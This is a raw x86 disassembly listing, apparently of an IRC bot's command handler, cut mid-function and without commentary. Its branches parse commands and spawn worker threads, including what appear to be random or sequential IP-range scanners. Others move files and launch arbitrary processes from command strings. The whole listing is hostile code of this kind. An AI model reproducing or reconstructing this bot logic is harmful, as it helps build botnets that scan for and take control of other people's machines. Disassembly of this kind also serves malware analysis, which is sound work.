cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+Src], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi ; Format
lea eax, [ebp+var_484]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4] ; Count
call dword_4CBA60 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_484]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax ; Str
call _strrchr
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+File+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi ; Format
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+Src]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+Dst]
push offset unk_42AA38 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18] ; Str
mov [ebp+var_4E0], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_4F0], eax
call _atoi
push [ebp+Source] ; Str
mov [ebp+var_4EC], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax ; Dest
call _strncpy
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset asc_42A9B0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CA1D
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18] ; Str
call _strlen
push edi ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
add esp, 14h
mov esi, eax
lea eax, [ebp+Dst]
push esi
push offset dword_42A968 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push [ebp+arg_18] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409869
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18] ; Str
call _strlen
push edi ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+arg_18] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409869
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14 ; inet_addr
push [ebp+arg_18] ; Str
mov [ebp+var_680], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_690], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax ; Dest
call _strncpy
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset unk_42A910 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C92C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi ; Str
call _atoi
push 7Fh ; Count
mov [ebp+var_1130], eax
push [ebp+arg_18] ; Source
lea eax, [ebp+var_1234]
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
call _atoi
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+Format] ; Format
mov [ebp+var_123C], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42A8D4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 18h ; int
push eax ; Source
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset sub_410DAB
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh ; Count
lea eax, [ebp+var_287C]
push edi ; Source
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+var_277C]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
mov [ebp+var_2678], ebx
call _atoi
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+Dst]
push edi
push offset asc_42A864 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Dh ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3414]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3394]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3314]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+Dst]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset asc_42A7E8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 12h ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset sub_41561D
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2FEC]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2F6C]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2EEC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+Dst]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset asc_42A780 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Eh ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset sub_414358
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3C68]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3BE8]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3B68]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
push 20h ; Count
lea eax, [ebp+var_3AE8]
push [ebp+arg_8] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+Dst]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset asc_42A718 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Dh ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_4135DF
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh ; Count
lea eax, [ebp+var_177C]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+arg_18] ; Str
call _atoi
push 3Fh ; Count
mov [ebp+var_162C], eax
push [ebp+Src] ; Source
lea eax, [ebp+var_16FC]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh ; Count
lea eax, [ebp+var_16BC]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+Dst]
push offset asc_42A6B0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Fh ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_1EF0]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+Dst]
push edi
push offset asc_42A648 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 15h ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset sub_413A29
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
call ds:dword_4270BC ; MoveFileA
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+Dst]
push edi
push offset asc_42A5B4 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi ; Format
lea eax, [ebp+var_3F08]
push 104h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax ; Format
lea eax, [ebp+var_3E04]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+Format] ; Format
lea eax, [ebp+var_3F88]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset asc_42A578 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 24h ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset sub_417054
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset asc_42A53C ; "-"
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi ; Str
mov [ebp+var_63C], esi
call _atoi
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18] ; Str2
push offset aSbrti ; "sbrti"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
call ds:dword_4270B8 ; GetTempPathA
